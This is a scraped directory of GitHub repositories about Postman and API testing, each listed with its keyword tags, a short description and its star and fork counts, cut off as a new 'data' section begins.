collection, collections, email, emailwizard, mail, test, testing 		Postman collections which are useful for emailwizard API testing 0 stars 0 watchers 0 forks
felnne/Postman-Newman-testing
test, testing, tool 		Simple project to use Postman's Newman tool to test the BAS People API. 0 stars 0 watchers 0 forks
fisamodo/.Net-Core-MVC-REST-Api
test, testing 		REST Api made using .NET Core, Entity Framework, Microsoft SQL Server Managment Studio and Postman for testing 0 stars 0 watchers 0 forks
gouthamik1/api-testing-postman-bdd
style, test, testing 		API testing using postman in BDD style 0 stars 0 watchers 0 forks
Greg1992/mongotut
communicate, data, database, modern, mongo, package, packages, security, test, testing 		Server set up to communicate with a MongoDB database, using modern security measures to encrypt data. Used POSTMAN and Node testing packages (Mocha and Chai) 0 stars 0 watchers 0 forks
hackoregon/postman-collections
collection, collections, test, testing 		Postman Collection Exports for API testing 0 stars 0 watchers 0 forks
hma28official/To-Do-List-RESTful-API-using-Lumen
official, test, testing 		To Do List RESTful API using Lumen and Postman for testing the API 0 stars 0 watchers 0 forks
HoldenRiot/postman-tutorial
test, testing, tutorial 		A very basic Postman tutorial for testing purposes. 0 stars 0 watchers 0 forks
HuGomez/automated-swtesting-withpy
application, applications, automat, automate, automated, river, software, test, testing, web app 		Learning about automated software testing with Python, BDD, Selenium WebDriver, and Postman, focusing on web applications 0 stars 0 watchers 0 forks
HwangJaeYoung/AndroidPostman
test, testing 		AndroidPostman for testing the oneM2M Server 0 stars 0 watchers 0 forks
imjonathanking/knex_testing
builder, express, knex, query, test, tested, testing 		I am testing out building an express API using Knex as a SQL query builder/ ORM. Routes will be tested in Postman. 0 stars 0 watchers 0 forks
IwanCole/SocketFire
data, test, testing 		Fire data at sockets and WebSockets. Think Postman RESTful API testing, but for sockets 0 stars 0 watchers 0 forks
jaikishanmohanty/Trello-API
automat, automate, test, testing 		Trello API used to automate the testing with Postman Tool 0 stars 0 watchers 0 forks
jaxxstone/postman-collections
automat, automation, collection, collections, copied, grant, test, testing 		copied from /grantorchard for testing vRA automation 0 stars 0 watchers 0 forks
Jesse-Penber/PostmanYelp
script, test, testing 		API testing on Yelp Fusion in Postman, using JSON and Javascript 0 stars 0 watchers 0 forks
jjian4/Task-Manager-API
account, auth, authentication, task, tasks, test, testing, token, tokens, user, users 		Create, read, update, delete users and tasks. Uses web tokens for account authentication. Built using Node.js, Express.js, and MongoDB/Mongoose. Used Postman for testing. 0 stars 0 watchers 0 forks
johannescarlen/grails-simple-app
auth, authentication, class, grails, json, play, playaround, rails, test, testing 		A playaround with Grails. Creating a REST post and get with basic authentication. Also some simple domain class scaffolding. Import the postman.json into Postman for API testing. 0 stars 0 watchers 0 forks
JohnArg/MongoDBTutorial
assert, assertion, course, creation, learn, learning, result, test, testing 		(Learning Project) The code from a course while learning MongoDB with Node/Express. The result is the creation of a simple REST API using Mongoose and Postman for testing. Mocha, Expect and Supertest were also used for assertions. 0 stars 0 watchers 0 forks
johntenezaca7/Postman-USG
automat, automate, automated, monitor, monitoring, system, test, testing 		Using Postman's Newman and Jenkins to create a monitoring system for an automated testing suite. 0 stars 0 watchers 0 forks
karthick-git/concourceCI-newman-slack
automat, automatic, automation, continuous, course, framework, image, integrate, integrated, newman, report, reporting, slack, test, testing, tool 		This is an API automation framework built using Postman's Newman CLI (Docker image) integrated with Concourse (a CI tool) for continuous testing and automatic slack reporting feature. 0 stars 0 watchers 0 forks
KennethNL/Jedi
config, configuration, experiment, experimental, file, goal, test, testing, version 		This experimental project involved the conversion of a Gherkin-based input file to a JSON-based configuration of Postman with the end goal of API testing. 0 stars 0 watchers 0 forks
kevincardona/kafka_ui
consume, consumer, interface, kafka, sort, test, testing 		An easy to use interface for testing Kafka consumers. It's sorta like Postman but for Kafka ✨. 0 stars 0 watchers 0 forks
Kevinoh47/RESTy
application, react, test, testing 		react.js application for testing REST APIs, similar to Postman 0 stars 0 watchers 0 forks
Krishank/API-Test-Lib
collection, dynamic, dynamically, export, powerful, proving, test, testing, tool 		As we all know POSTMAN is a very powerful tool for API Testing this is a Simple POC for proving how can we use postman for API testing, export it collection dynamically and run it from any CI tool 0 stars 0 watchers 0 forks
KrishnaGupta72/Creating-a-RESTFul-API-With-CRUD-Operations-Using-Flask-and-POSTMAN
form, test, testing 		In this project, We'll show you how to perform CREATE/READ/UPDATE/DELETE requests using Python, Flask and POSTMAN(an API testing app) 0 stars 0 watchers 0 forks
kumarchhajed/EVO.API.Service
collection, file, test, testing 		Simple ASP.NET WEB API Project with Unit testing & Postman collection file to test 0 stars 0 watchers 0 forks
kumud02/postman-api-testing
test, testing 		API Testing Using Postman Examples 0 stars 0 watchers 0 forks
LondonComputadores/gostack-node-express-api-crud
builder, crud, express, node, test, tester, testing 		First part of GoStack Course from Rocketseat where we built a Nodejs + Expressjs API CRUD for testing with Insomnia API builder/tester like Postman. 0 stars 0 watchers 0 forks
loopDelicious/testing-and-automation
automat, automation, test, testing 		Workshop for testing and automation in Postman 0 stars 0 watchers 0 forks
lpuskas/dockerized-newman
docker, dockerized, newman, test, testing 		End2End testing w/ postman 0 stars 0 watchers 0 forks
Mahalakakshmi/SpringBootJSONFileReading
test, testing 		Reading a JSONObject File and Filtering Objects ,testing using Postman Rest 0 stars 0 watchers 0 forks
Marqueb82/REST-CarApp
find, list, service, test, testing, updating, vehicles 		REST-Service for car management allowing viewing list of cars, finding by id, updating, deleting and adding new vehicles. Used Postman for testing of service. 0 stars 0 watchers 0 forks
MaxDrljic/Laravel-Articles
function, functional, test, testing 		Simple Laravel app made for testing CRUD functionality with Postman. 0 stars 0 watchers 0 forks
Micah-N/nman-bdd
library, test, testing 		Postman/Newman API testing using the 'Postman-BDD' library 0 stars 0 watchers 0 forks
MichaelKovich/testing-sandbox
sandbox, test, testing 		Testing with Cypress, Chai, and Postman. 0 stars 0 watchers 0 forks
ncoughlin/postman-routing-exercise
exercise, routing, test, testing 		Bootcamp Express App testing routing and testing with Postman 0 stars 0 watchers 0 forks
nzx-prash/esb-stp-postman-collection
collection, test, testing 		Postman collection for testing Straight Through Processing - Red Current 0 stars 0 watchers 0 forks
potaeko/Contact-Keeper-with-React
auth, authentication, cloud, course, current, data, database, route, routes, test, testing 		Contact Keeper with JWT authentication created with MongoDB Atlas cloud database, Express, React, Node.js (MERN) , JSON Web Tokens (JWT), Concurrently npm and testing routes with POSTMAN. Project from Udemy online course 0 stars 0 watchers 0 forks
potaeko/Github-Finder
course, file, find, profile, test, testing, user 		Github-Finder: to find Github user profile. Created with React context and Github API, testing with Postman from Udemy online course. 0 stars 0 watchers 0 forks
pui-kuan93/custom-api-with-express-and-mongodb
express, mongo, mongod, mongodb, test, testing 		Creating a custom API using Express & MongoDB (and Postman for testing) 0 stars 0 watchers 0 forks
qdriven/pm-converter
convert, converte, converter, drive, driven, form, format, test, testing 		pm-converter convert postman to different api testing format 0 stars 0 watchers 0 forks
regeanish/Mean-Hotel
client, data, database, display, form, format, hotel, information, play, playing, reviews, server, test, testing, user 		Created a Hotel API where user can add, delete, update hotel name and reviews using NodeJS(Express) and MongoDB. Used RESTful API HTTP client POSTMAN for testing. Additionally, building UI for displaying information coming from the server & database about the hotel using AngularJS 0 stars 0 watchers 0 forks
RezaAzam/Api-call-testing-automation
automat, automation, docker, newman, running, test, testing 		running with postman, newman , TravisCI with docker 0 stars 0 watchers 0 forks
romeobleonor/BasicAPIWithNodeExpress
form, test, testing, tool, tools 		Basic API with Node, Express and MongoDB - Performed CRUD and Learned API testing tools - (PostMan) - Introuduction to MongoDB and Mongoose and ROBO 3T 0 stars 0 watchers 0 forks
Rutuja177/RestApi-CRUD-Operations
api blueprint, asyncapi, json schema, mysql, oauth, openid, sql, test, testing 		I have created 3 APIs( Heroes, Product, category) created in php and mysql. And testing it on POSTMAN 0 stars 0 watchers 0 forks
sahilwasan000/Todo-Api
application, development, test, testing, user 		A REST API that lets the user, use the end points and create his own application using the API. It uses Node.js, Express and MongoDB for development and Mocha and Postman for testing purposes. 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
SassyData/modularPricing
drive, driven, engine, micro services, service, services, test, testing 		Pricing engines created with API driven micro services in R or Python. Supported by Docker & Postman / Newman testing. 0 stars 0 watchers 0 forks
SD7689/EmployeeMangement_CRUD_WebApi
test, testing 		JSON Server Employee CRUD API and testing using Postman and Swagger , Days Employee Login and Employee CRUD API using WebAPI 0 stars 0 watchers 0 forks
SeepG/ticket-viewer
script, test, testing, ticket 		Javascript Ticket Viewer built using a simple REST API with NodeJS and Express. PostMan has been used for testing. HTML, Javascript and Bootstrap used for the front-end. 0 stars 0 watchers 0 forks
shasha131/Postman-Newman-API-Testing-FCOM-Test-Phrase-
data, drive, driven, file, sha1, test, testing, to do 		How to use postman/Newman to do data driven(large data file) API request and testing 0 stars 0 watchers 0 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
shijiahu/face-recognition
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 0 forks
sindhureddy2903/POSTMAN-SCRIPTS
book, books, test, testing, trello 		API testing on real-time books api of trello.com 0 stars 0 watchers 0 forks
sverlo/user-api
test, testing, user 		Simple MVC REST User API + load and API testing (Postman, SoapUI, JMeter) 0 stars 0 watchers 0 forks
TechGeekD/k6-load-testing
script, test, testing 		Create & run k6 load testing script 0 stars 0 watchers 0 forks
themightykai90/postman-testing
test, testing 		Summary of Postman Pre-Req and Test Scripts useful in API testing 0 stars 0 watchers 0 forks
theuggla/javascript-at
application, applications, client, concept, java, javascript, program, ranging, script, server, servers, standalone, test, testing 		ranging from small programs to full applications testing out javascript concepts, both as standalone applications, servers and client applications 0 stars 0 watchers 0 forks
thneeb/swagger2postman
collection, file, generate, generated, json, node, nodejs, postman collection, spec, swagger, swagger2, test, testing, tool 		This little nodejs tool gets a swagger.json on the one hand and generated a postman collection file for testing the specified api on the other hand. 0 stars 0 watchers 0 forks
tomashchuk/booking
auth, authorization, book, booking, heroku, http, https, login, register, test, testing 		REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. 0 stars 0 watchers 0 forks
treygithub/cookies-test-header-postman
cookies, github, header, style, test, testing 		testing header and cookies postman style chia librarry 0 stars 0 watchers 0 forks
ViniciusX22/testing-sample
integrating, rating, sample, test, testing 		Web Testing integrating Postman, Cypress, Jest and Github Actions 0 stars 0 watchers 0 forks
vit-ganich/api-sample-flask-postman
flask, sample, test, testing 		Flask app for API testing with Postman 0 stars 0 watchers 0 forks
YoLoADR/basic-api-with-react-django
django, react, setup, test, testing 		We will setup a Django app and create a REST API with the Django Rest Framework. We will use Postman for API testing. 0 stars 0 watchers 0 forks
Zandy12/FSJS-Project-Nine
degree, involves, program, test, testing, tree 		Ninth project of the Full Stack JavaScript techdegree program offered by www.teamtreehouse.com. The project involves building a REST API using Node.js and testing with Postman. 0 stars 0 watchers 0 forks
abhishektappp/postman
endpoint, endpoints, test, testing 		testing endpoints 0 stars 0 watchers 0 forks
aditisen/apiTesting
test, testing 		api testing using postman 0 stars 0 watchers 0 forks
ahutch21/Postman-API
test, testing 		Files for testing API in Postman 0 stars 0 watchers 0 forks
amathm/nodejs-test
node, nodejs, test, testing 		testing postman and nodejs 0 stars 0 watchers 0 forks
AndHubert/API-testing
test, testing 		API request in Postman - Run Collections 0 stars 0 watchers 0 forks
andreasmmadjiah/REST-API-testing
python, test, testing 		Simple API testing using pythonanywhere and postman 0 stars 0 watchers 0 forks
AndreyMaydanyuk/PostmanCollection
test, testing 		repository for testing with postman 0 stars 0 watchers 0 forks
Angsumanroy/Test-Api
test, testing 		Sample Api for testing in postman 0 stars 0 watchers 0 forks
anilkk/postman-collection-testing
collection, postman collection, test, testing 		Demo app of postman collection testing 0 stars 0 watchers 0 forks
anoopdangi/First-project
server, service, services, test, testing, tomcat 		first project in web services using tomcat server and postman for testing 0 stars 0 watchers 0 forks
AntoMullen/New-Repo-Postman-testing-11
rest, rest api, tesing, test, testing 		This is first repo tesing Git hub rest api 0 stars 0 watchers 0 forks
AntoMullen/New-Repo-Postman-testing-8
rest, rest api, tesing, test, testing 		This is first repo tesing Git hub rest api 0 stars 0 watchers 0 forks
AntoMullen/Postman-testing
test, testing 		This repo is used for testing postman and the Git hub API 0 stars 0 watchers 0 forks
aschambers/restful
library, node, rest, restful, test, testing 		creating a restful api using the node-restful library, and testing with postman. 0 stars 0 watchers 0 forks
brunopulis/api-testing-postman
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
crystal178/Postman_API_Test
test, testing 		This is for APP API testing 0 stars 0 watchers 0 forks
CurbYourStrangeness/API-Model
apps, model, test, testing 		A Sample API model for testing with Postman and similar apps. 0 stars 0 watchers 0 forks
defiant-dj04/api-testing-with-postman
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
Digender/q-postman
postman like, test, testing 		A postman like app for api testing 0 stars 0 watchers 0 forks
electrumpayments/airtime-service-test-pack
implementation, implementations, payment, script, scripts, server, service, test, testing 		test server and Postman scripts for testing Airtime Service Interface implementations 0 stars 0 watchers 0 forks
emirjemmali/CRUDMongoExpress
test, testing 		For testing,you can use postman 0 stars 0 watchers 0 forks
fdmeregildo/webshop-back-config
config, data, database, docker, example, file, integration, readme, test, testing 		docker file, database file, integration testing, readme example, postman file, others 0 stars 0 watchers 0 forks
frankgmz123/testing
test, testing 		testing postman 0 stars 0 watchers 0 forks
GarlandLai/Message-board-API
test, testing 		Practice creating API and testing through postman 0 stars 0 watchers 0 forks
Gencid/Hello-Postman-2
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-okrwf6lgoj
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-upi1z7ukzm
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repository-wury8o3fjz
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
Gencid/Postman-Repositoryr23h6gc553
correct, stat, status, test, testing 		Repository for testing correct name and status 201 0 stars 0 watchers 0 forks
gsuarez80/api-testing
jenkins, test, testing 		postman with jenkins 0 stars 0 watchers 0 forks
gururajhm/postmancontracttest
contract, test, testing 		postman contract testing 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
infinit-loop/Automation-Testing-of-Blockchain-Using-Postman
automat, automation, chai, private, test, testing 		starting with automation testing to finally develop private Blockchain. 0 stars 0 watchers 0 forks
JackWKelly/postman-testing
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
jasmine-740736/testing
test, testing 		postman 0 stars 0 watchers 0 forks
jdlawren/PostmanIntegration
integration, test, testing 		testing postman integration 0 stars 0 watchers 0 forks
jnafolayan/postman
interface, mini, minimal, test, testing 		minimal api testing interface 0 stars 0 watchers 0 forks
JonasMGit/RAWDATA_E2018_Exercise4_3-testing
test, testing 		testing postman 0 stars 0 watchers 0 forks
josuamanuel/pmat
automat, automation, test, testing 		postman automation testing 0 stars 0 watchers 0 forks
kamal-bhatt/POSTMANTEST
test, testing 		use for testing api 0 stars 0 watchers 0 forks
KiiPlatform/gateway-agent-postman
agent, content, contents, form, gateway, local, test, testing 		postman contents for gateway-agent local REST api testing 0 stars 0 watchers 0 forks
klimtever/spmia-postman-testing
example, examples, spmia, test, testing 		Testing SPMIA examples with POSTMAN 0 stars 0 watchers 0 forks
kostanzhoglo/auto-eng-proj
automat, automate, test, testing 		Some code to automate testing of API in Postman 0 stars 0 watchers 0 forks
laraibtest/Postman-testing
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
luxie11/note-app
application, creation, framework, note, saving, task, tasks, test, testing, user 		An API created for saving user tasks. For API testing used Postman. This API can be user for WEB application creation with React, Vue or any front-end framework. 0 stars 0 watchers 0 forks
manjupaul/api-testing-postman
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
margiani/tsr-postman-tests
client, collection, test, testing, tests 		Postman test collection for tsrpay.com client API testing 0 stars 0 watchers 0 forks
marishkavasiuk/postman-collection
collection, test, testing 		REST API testing with postman 0 stars 0 watchers 0 forks
marykayrima/Postmann_Jsonplaceholder_testing
http, https, json, place, placeholder, test, testing, todo 		https://jsonplaceholder.typicode.com/todos/ 0 stars 0 watchers 0 forks
marykayrima/Postman_dummy_testing
dummy, employee, employees, example, http, rest, restapi, test, testing 		http://dummy.restapiexample.com/api/v1/employees 0 stars 0 watchers 0 forks
marykayrima/Postman_JsonPlaceHolder_testing
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
MasonChambers/Regression-Testing-Postman
form, format, formatted, html, newman, output, regression, test, testing 		regression testing for postman with newman and formatted html output 0 stars 0 watchers 0 forks
MaxDrljic/JWT-Authentication
form, method, platform, route, routes, test, testing 		In this app, we are testing routes with POST method by using Postman as a testing platform. 0 stars 0 watchers 0 forks
mdsalik7/Blockchain
chai, test, testing 		Building a Blockchain on Python using Web Application Framework Flask and testing it on Postman 0 stars 0 watchers 0 forks
mdsalik7/Cryptocurrency-Laxmicoin
currency, test, testing 		Creating a Cryptocurrency on Python and testing it on Postman 0 stars 0 watchers 0 forks
michaelepley/jboss-api
test, testing 		EE 7 REST api with JPA. Postman for testing 0 stars 0 watchers 0 forks
milim2/api-testing
test, testing 		postman practice 0 stars 0 watchers 0 forks
mobbr/mobbr-api-tests
endpoint, script, scripts, test, testing, tests 		POSTMAN-scripts for API endpoint testing. 0 stars 0 watchers 0 forks
mohitsood5934/Implementing-JWT-using-Node.js
auth, authentication, test, testing, user 		I have implemented JSON Web Token for user authentication.I have used POSTMAN API for the testing purpose 0 stars 0 watchers 0 forks
mrityunjay38/Trello-Clone
clone, integration, study, test, testing 		Trello point-to-point clone to study api integration and Postman testing. 0 stars 0 watchers 0 forks
NageshJoy007/api-tests-postman
form, test, testing, tests 		Perform api testing using postman 0 stars 0 watchers 0 forks
NoorKanana/JIRA-API-testing-by-postman
scenario, test, testing 		Ceating a project called ‘REST API Example Project’ and run basic JIRA Software scenario request by postman 0 stars 0 watchers 0 forks
OmarFlores1/APITesting
example, test, testing 		simple example of API testing using PostMan and Python 0 stars 0 watchers 0 forks
pandeyashish/IntegrationTest
test, testing 		Integration testing for api using postman 0 stars 0 watchers 0 forks
patriciafig/WebAPI_HW1
assignment, framework, test, testing 		The purpose of this assignment is to work with Postman, become familiar with HTTP, and REST through the testing framework provided by Postman. 0 stars 0 watchers 0 forks
Prafulkumarbheemanathi/postmanrepo
service, services, test, testing 		creating for testing web services with API 0 stars 0 watchers 0 forks
Purushothamanan/PostmanProject
test, testing 		Run Api testing using postman 0 stars 0 watchers 0 forks
qaespence/REST_API_Testing_POSTMAN
http, https, rest, site, test, testing 		REST API testing using Postman for the site https://gorest.co.in 0 stars 0 watchers 0 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
richayadav777/testing
test, testing 		to test the postman 0 stars 0 watchers 0 forks
rifkegribenes/python-testing-postman
description, python, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
ritika-shakwar/JsonData
data, json, test, testing 		created json data for testing postman 0 stars 0 watchers 0 forks
rohityo/Blogs-website
logs, program, site, software, test, testing, tool, website 		In this project, implemented API End-point with Blog medium website and the uses of postman software tool for testing the programme. 0 stars 0 watchers 0 forks
rominamc/TesterQA-PROEM
agile, automat, document, drive, java, order, river, service, test, testing, todo, unit 		Testing manual:documentación. Metodologias agiles.Kanban.Scrum.Ambientes de testing QC/QA. Software para testing de automatización:Registro de bugs:Redmine,Jira.Regresión: Selenium web driver.Katalon recorder.Testing unitario (java):JUnit.Webservice:Postman 0 stars 0 watchers 0 forks
saif-beast/postman_api_test_example
example, reference, test, testing 		Collection of code reference for testing api in postman 0 stars 0 watchers 0 forks
Sam-Ijomah/BULD-AND-TEST
program, software, test, testing 		Build a new software program and execute the testing using POSTMAN TOOL 0 stars 0 watchers 0 forks
SaneleNkosi/Postman
test, testing 		API testing 0 stars 0 watchers 0 forks
sangitar23/postman-testing
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
seaona/API-testing-Postman
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
shahinislam/Laravel-API-Postman
laravel, test, testing 		Postman request testing with laravel api 0 stars 0 watchers 0 forks
shangpf1/postman-testing
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
shangpf1/postman-testing1
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
SibaDaki/Entity-Framework-Core
test, testing 		WebAPI - Using POSTMAN for testing 0 stars 0 watchers 0 forks
SimerjeetWalia/API-testing
rest, test, testing 		Api testing using postman and restAssured 0 stars 0 watchers 0 forks
SlawomirRhode/postman-new
test, testing 		only for testing purpose 0 stars 0 watchers 0 forks
smsglobal/example-postman-rest-client
client, example, rest, script, test, testing 		Postman script for REST API testing 0 stars 0 watchers 0 forks
SnehaRajB/PostmanTest-WeatherTest
test, testing 		Postman Tests for testing Weather API 0 stars 0 watchers 0 forks
soledad-fernandez/postman-api-test
test, testing 		API testing using postman 0 stars 0 watchers 0 forks
Stachys/Postman-API
framework, test, testing 		Postman API testing framework. 0 stars 0 watchers 0 forks
steffmcmullan/APItest
test, testing 		testing API s with Postman 0 stars 0 watchers 0 forks
Story-TellerX/Postman-request-collection-dummy-
collection, dummy, form, performance, test, testing 		This is first performance of my REST testing with Postman 0 stars 0 watchers 0 forks
sza313/Test-Automation-API-Testing-with-Postman
sample, test, testing 		API testing sample project with Postman 0 stars 0 watchers 0 forks
sza313/Test_Automation_Newman_API
automat, automation, framework, test, testing 		Test automation framework in Postman / Newman for API testing 0 stars 0 watchers 0 forks
tarang777/Create-order-using-oauth-rest-api-in-android
android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool 		Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. 0 stars 0 watchers 0 forks
testgurus/api-testing-postman
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
testingbyravi/API-Testing---Postman
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
testingrange/testing_api_with_postman
test, testing, tests 		Group of tests of different apis with postman 0 stars 0 watchers 0 forks
testingworldnoida/PostmanAutomation
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
testingworldnoida/PostmanCode
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
testingworldnoida/PostmanCode2
description, script, test, testing 		No description available. 0 stars 0 watchers 0 forks
tvaroglu/TestingBackup
file, files, test, testing 		Backup repo for Postman and k6 testing files 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
umangbudhwar/api-testing-postman
automat, automating, test, testing 		Demo project for automating API testing. 0 stars 0 watchers 0 forks
userbt1/testapi
connection, github, test, testing, user 		testing postman connection to github 0 stars 0 watchers 0 forks
vcamaral/newman-smoke-testing
newman, smoke, test, testing, util, utilizando 		Exemplo de smoke testing utilizando o Newman (Postman Collection Runner). 0 stars 0 watchers 0 forks
vibhudadhichi/postman-collection
collection, framework, test, testing 		Automated API testing framework using Postman Jenkins Newman 0 stars 0 watchers 0 forks
vishaldot/postman-test
test, testing 		postman testing 0 stars 0 watchers 0 forks
vpapazov/mean-test1
data, mean, test, testing 		testing request/update of the data through postman. 0 stars 0 watchers 0 forks
witekcc/postman-test1
integration, test, testing 		integration testing with postman 0 stars 0 watchers 0 forks
XccelerateOrg/ARCHIVED-simple_http_postman
http, test, testing 		Simple HTTP for testing Postman 0 stars 0 watchers 0 forks
zachmorse/TIY-week7-day5-project
data, database, route, routes, send, test, testing, week 		create an API for testing via Postman. Should send JSON directly from the database to postman via routes 0 stars 0 watchers 0 forks
zenithtekla/simpleRestAPI
chrome, client, complex, form, light, rest, restclient, test, tested, testing 		RestAPI made simple, tested with Advanced REST client chromeApp, offered by chromerestclient.com, this App is much simpler, fast and light to perform testing than clumsy, complex Postman UI 0 stars 0 watchers 0 forks
zhurba-alina/Collection-for-Bugred.ru
collection, postman collection, test, testing, user, users 		postman collection for testing users.bugred.ru 0 stars 0 watchers 0 forks
Johcare/Postman_API_testing
test, testing 		This is Test Postman App 0 stars 0 watchers 0 forks
Johcare/Postman_API_testing-1
test, testing 		This is Test Postman App 0 stars 0 watchers 0 forks
kkh2ya/push-push-box
notification, push, server, test, testing 		Android Heads-up notification with Google FCM(Firebase Cloud Messaging), using Postman as a server-side testing. Androidプッシュ通知をGoogleのFCMを使用し、Postmanでサーバのテスト済み。 0 stars 0 watchers 0 forks
ibrahim4529/getman
postman like, test, testing 		postman like app for testing api based on vala and gtk 0 stars 0 watchers 0 forks
k6io/example-postman-collection
blog, collection, collections, example, http, https, test, testing 		https://k6.io/blog/load-testing-with-postman-collections/ 0 stars 0 watchers 0 forks
komerela/psychology
grafana, monitor, test, testing, traffic, util, visual 		This is a healthcare repo for a Django app and created using a REST API with the Django Rest Framework. Prometheus will be utilized to monitor traffic and grafana will be used to visualize the traffic. Integration will utilize CicleCI. We will use Postman for API testing. 0 stars 0 watchers 0 forks
mytardis/edm-postman-collections
collection, collections, test, testing 		Postman collections for testing 0 stars 0 watchers 0 forks
neerajgupta2407/newman-jenkins
collection, jenkins, newman, postman collection, test, testing 		Dummy project for testing postman collection with jenkins 0 stars 0 watchers 0 forks
qaclub/postman_collection_example
automat, automating, collection, collections, example, postman collection, postman collections, test, testing 		Example of using postman collections for automating REST API testing 0 stars 0 watchers 0 forks
sunnyCN34/Api_TestingFramework
collection, collections, endpoint, postman collection, postman collections, test, testing 		Automated testing of API endpoint using postman collections 0 stars 0 watchers 0 forks
TaylorOno/smoke-break
collection, collections, postman collection, postman collections, smoke, test, testing, tool 		A tool to run postman collections against 2 targets and capturing deltas useful for smoke testing Blue Green deploys 0 stars 0 watchers 0 forks

data (260 listings) (Back to Top)

flftfqwxf/mockserver
data, mock, mocks, mockserver, server, tool, tools 		Mockserver is a mock data tools and switch between mock data and real data,【一个用于前后分离时模拟数据的web系统，并可在直实数据与实际数据中自由切换】 317 stars 317 watchers 97 forks
luckymarmot/API-Flow
convert, converte, converter, data, form, format, struct, structure 		Universal data structure and converter for API formats (Swagger, RAML, Paw, Postman…) 180 stars 180 watchers 18 forks
Massad/gin-boilerplate
